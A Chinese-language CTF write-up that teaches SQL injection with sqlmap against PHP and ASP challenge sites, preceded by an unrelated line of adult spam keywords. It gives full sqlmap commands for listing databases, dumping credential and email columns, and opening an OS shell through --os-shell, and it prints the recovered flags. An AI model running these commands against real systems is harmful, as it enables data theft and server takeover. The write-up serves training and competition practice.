自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

CTF中的普通SQL注入題分析

安全
在CTF比賽中一定會(huì)存在一道SQL注入題,SQL注入作為OWASP中排名第一的高危漏洞,作為網(wǎng)絡(luò)攻防對(duì)抗最熱門的技術(shù)知識(shí),在很多大型CTF比賽中都會(huì)出現(xiàn)考題,雖然形勢(shì)有所變化,但萬(wàn)變不離其宗,只要掌握了核心知識(shí),就能從容應(yīng)對(duì)。

在CTF比賽中一定會(huì)存在一道SQL注入題,SQL注入作為OWASP中排名第一的高危漏洞,作為網(wǎng)絡(luò)攻防對(duì)抗最熱門的技術(shù)知識(shí),在很多大型CTF比賽中都會(huì)出現(xiàn)考題,雖然形勢(shì)有所變化,但萬(wàn)變不離其宗,只要掌握了核心知識(shí),就能從容應(yīng)對(duì)。

一、SQL注入解題思路  

存在SQL注入的題目,基本都會(huì)有參數(shù)傳入,比如index.php?id=1這類的,其主要思路如下:

1.認(rèn)真閱讀題目,一般來(lái)講CTF比賽都會(huì)或多或少給出一些提示。因此要從字里行間去體會(huì),這個(gè)需要經(jīng)驗(yàn)的記錄。

2.對(duì)目標(biāo)地址進(jìn)行漏洞掃描。可以通過(guò)AWVS等工具進(jìn)行漏洞掃描,如果存在SQL注入一般都能掃描到。不過(guò)使用掃描工具特別耗費(fèi)時(shí)間,在CTF比賽中時(shí)間很寶貴。

3.直接對(duì)目標(biāo)進(jìn)行手工測(cè)試。針對(duì)不同類型編程語(yǔ)言,進(jìn)行手工注冊(cè)測(cè)試,確認(rèn)存在漏洞后,可以使用sqlmap進(jìn)行快速利用。

4.使用sqlmap來(lái)進(jìn)行注入漏洞的測(cè)試及數(shù)據(jù)獲取。

二、SQL注入方法  

1.使用havij注入工具進(jìn)行url地址注入測(cè)試

2.使用pangonlin注入攻擊進(jìn)行url地址注入測(cè)試

3.使用WebCruiser進(jìn)行掃描并進(jìn)行url注入測(cè)試

4.sqlmap注入常用命令

(1)列數(shù)據(jù)庫(kù)信息:--dbs    

(2)web當(dāng)前使用的數(shù)據(jù)庫(kù)--current-db

(3)web數(shù)據(jù)庫(kù)使用賬戶 --current-user

(4)列出sqlserver所有用戶 --users

(5)數(shù)據(jù)庫(kù)賬戶與密碼 --passwords

(6)指定庫(kù)名列出所有表  -D database --tables

-D:指定數(shù)據(jù)庫(kù)名稱

(7)指定庫(kù)名表名列出所有字段 -D antian365 -T admin --columns

-T:指定要列出字段的表

(8)指定庫(kù)名表名字段dump出指定字段

-D secbang_com -T admin -C  id,password ,username --dump

-D antian365 -T userb -C "email,Username,userpassword" --dump

  可加雙引號(hào),也可不加雙引號(hào)。

(9)導(dǎo)出多少條數(shù)據(jù)

-D tourdata -T userb -C "email,Username,userpassword" --start 1 --stop 10 --dump 

參數(shù):

--start:指定開(kāi)始的行

--stop:指定結(jié)束的行

此條命令的含義為:導(dǎo)出數(shù)據(jù)庫(kù)tourdata中的表userb中的字段(email,Username,userpassword)中的第1到第10行的數(shù)據(jù)內(nèi)容。

三、ctf實(shí)戰(zhàn)php sql注入  

1.題目分析

   目標(biāo)地址:http://106.75.114.94:9005/index.php?id=1,如圖1所示,提示flag在數(shù)據(jù)庫(kù)中,根據(jù)這個(gè)信息判斷,該題考查的為sql注入。    

圖片

圖1題目分析

2.使用sqlmap進(jìn)行sql注入測(cè)試

(1)確認(rèn)sql注入漏洞

執(zhí)行命令:sqlmap.py -u http://106.75.114.94:9005/index.php?id=1,如圖2所示,sqlmap識(shí)別出get參數(shù)存在三種類型的sql注入,數(shù)據(jù)庫(kù)為MySQL,操作系統(tǒng)為L(zhǎng)inux。

圖片

圖2確認(rèn)sql注入漏洞

(2)排除系統(tǒng)數(shù)據(jù)庫(kù),獲取所有數(shù)據(jù)

執(zhí)行命令sqlmap.py -u http://106.75.114.94:9005/index.php?id=1 -a  --exclude-sysdbs,獲取所有的數(shù)據(jù),除系統(tǒng)數(shù)據(jù)庫(kù)外,如圖3所示,該方法適合懶人。    

圖片

圖3獲取所有數(shù)據(jù)

3.獲取flag

   在sqlmap執(zhí)行完畢后,可以查看其數(shù)據(jù)庫(kù)中的內(nèi)容,如圖4所示,成功獲取其flag值:flag{b4d933ca-e1cc-43ef-80de-0749b0a2a8fe}。

圖片

圖4獲取flag值

4.總結(jié)

前面提及的方法是最簡(jiǎn)便,最省事的一種獲取方法,如果數(shù)據(jù)庫(kù)中數(shù)據(jù)太多,前面的方法就比較耗費(fèi)時(shí)間。常規(guī)解題思路為:

(1)sqlmap.py -u http://106.75.114.94:9005/index.php?id=1 --dbs --is-dba --current-user

(2)root賬號(hào)可以直接獲取webshell

sqlmap.py -u http://106.75.114.94:9005/index.php?id=1 --os-shell

(3)獲取數(shù)據(jù)庫(kù)表    

sqlmap.py -u http://106.75.114.94:9005/index.php?id=1 -D sqli --tables

(4)看表列名

sqlmap.py -u http://106.75.114.94:9005/index.php?id=1 -D sqli -T info  --columns

(5)導(dǎo)出數(shù)據(jù)內(nèi)容

sqlmap.py -u http://106.75.114.94:9005/index.php?id=1 -D sqli -T info --dump

四、ctf實(shí)戰(zhàn)asp sql注入  

對(duì)于提供了參數(shù)的url地址來(lái)講,其sql注入相對(duì)簡(jiǎn)單,直接使用sqlmap就可以搞定,關(guān)鍵必須熟悉sqlmap的常用命令。在本題中給出的是asp編程腳本站點(diǎn),題目地址為:http://10.2.66.50:8133/show.asp?id=2。

1.漏洞點(diǎn)測(cè)試

執(zhí)行python sqlmap.py -u http://10.2.66.50:8133/show.asp?id=2,如圖5所示,sqlmap對(duì)注入點(diǎn)進(jìn)行漏洞測(cè)試。

圖片

圖5進(jìn)行漏洞測(cè)試

2.獲取數(shù)據(jù)庫(kù)名稱

執(zhí)行命令python sqlmap.py -u http://10.2.66.50:8133/show.asp?id=2 --current-db,如圖6所示,可以看到參數(shù)id存在三種類型的sql注入漏洞,其當(dāng)前數(shù)據(jù)庫(kù)名稱為“tourdata”。    

圖片

圖6獲取數(shù)據(jù)庫(kù)名稱及漏洞類型

3.獲取表名

 python sqlmap.py -u http://10.2.66.50:8133/show.asp?id=2 --current-db -D tourdata --tables,如圖7所示,可以看到數(shù)據(jù)庫(kù)類型為Microsoft SQL Server 2000,操作系統(tǒng)為Windows 2003 or XP,數(shù)據(jù)庫(kù)中共有四個(gè)表,其中有三個(gè)表為系統(tǒng)表,news為目標(biāo)表。

圖片

圖7獲取數(shù)據(jù)庫(kù)表

4.獲取數(shù)據(jù)內(nèi)容

執(zhí)行命令sqlmap.py -u http://10.2.66.50:8133/show.asp?id=2 --current-db -D tourdata -T news --columns來(lái)獲取列名,也可以只用sqlmap.py -u http://10.2.66.50:8133/show.asp?id=2 --current-db -D tourdata -T news --dump命令直接獲取數(shù)據(jù)庫(kù)表news中的所有內(nèi)容,如圖8所示,成功獲取flag值為:52c6f1d691661456b3f51d2760179209。    

圖片

圖8獲取flag值    

責(zé)任編輯:龐桂玉 來(lái)源: 小兵搞安全
相關(guān)推薦

2013-01-11 16:23:29

2018-02-10 09:44:19

2009-03-27 10:53:52

注入SQLMySQL

2017-03-01 14:16:20

2010-09-10 15:51:51

SQL分析函數(shù)

2010-12-20 16:04:30

2014-05-26 09:32:15

2016-09-29 09:37:50

2017-08-10 10:23:59

2010-04-13 14:35:17

2014-11-04 13:43:10

2010-10-22 15:18:18

SQL注入漏洞

2009-02-04 16:11:45

2012-11-15 13:37:32

dedecms注入腳本攻防

2014-04-14 10:03:16

2010-09-03 12:01:17

SQL刪除

2022-04-19 09:24:18

QtC++框架

2020-10-26 07:04:29

SQL注入mysql

2013-05-02 15:09:22

2009-04-02 10:26:27

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)